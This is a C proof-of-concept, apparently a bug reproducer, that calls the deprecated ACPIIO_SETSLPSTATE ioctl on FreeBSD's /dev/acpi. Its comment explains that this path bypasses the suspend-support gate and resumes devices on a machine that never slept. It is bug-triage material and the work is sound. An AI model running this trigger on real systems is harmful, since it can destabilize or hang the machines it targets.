/*
 * DF-5669 — trigger the deprecated ACPIIO_SETSLPSTATE ioctl on /dev/acpi.
 *
 * sys/dev/acpica/acpi.c:3451  case ACPIIO_SETSLPSTATE:  (DEPRECATED, live)
 *   -> acpi_SetSleepState()  (acpi.c:2378)
 *   -> acpi_EnterSleepState(sc, 3)  (acpi.c:2557)
 *   -> for S3: DEVICE_SUSPEND(root_bus) + AcpiEnterSleepStatePrep(S3)
 *      + acpi_sleep_machdep()  == NO-OP STUB (acpi_wakeup.c:51)
 *      -> marked ACPI_SS_SLEPT anyway -> AcpiLeaveSleepState(S3) runs _WAK
 *      -> DEVICE_RESUME(root_bus) on a machine that never slept.
 *
 * Contrast: ACPIIO_REQSLPSTATE (the modern path) is gated by
 * "This platform does not support acpi suspend/resume." -> EOPNOTSUPP
 * (acpi.c:2417-2420). The deprecated ioctl bypasses that gate.
 *
 * usage: ./setslp [state] [req]     (default state=3; 'req' uses REQSLPSTATE)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

#ifndef ACPIIO_SETSLPSTATE
#define ACPIIO_SETSLPSTATE	_IOW('P', 3, int)	/* DEPRECATED */
#endif
#ifndef ACPIIO_REQSLPSTATE
#define ACPIIO_REQSLPSTATE	_IOW('P', 4, int)
#endif

int
main(int argc, char **argv)
{
	int state = (argc > 1) ? atoi(argv[1]) : 3;
	int use_req = (argc > 2 && strcmp(argv[2], "req") == 0);
	unsigned long req = use_req ? ACPIIO_REQSLPSTATE : ACPIIO_SETSLPSTATE;
	int fd, rv;

	printf("[*] uid=%d euid=%d state=S%d ioctl=%s\n", getuid(), geteuid(),
	    state, use_req ? "REQSLPSTATE (gated)" : "SETSLPSTATE (deprecated)");
	fflush(stdout);

	fd = open("/dev/acpi", O_RDWR);
	if (fd < 0) {
		printf("[-] open(/dev/acpi, O_RDWR) failed: %s\n",
		    strerror(errno));
		return (1);
	}
	printf("[*] /dev/acpi opened O_RDWR, issuing ioctl...\n");
	fflush(stdout);

	rv = ioctl(fd, req, &state);
	printf("[*] ioctl() = %d, errno = %d (%s)\n", rv, errno,
	    strerror(errno));
	fflush(stdout);

	sleep(3);
	printf("[*] process still alive 3s after ioctl\n");
	close(fd);
	return (0);
}
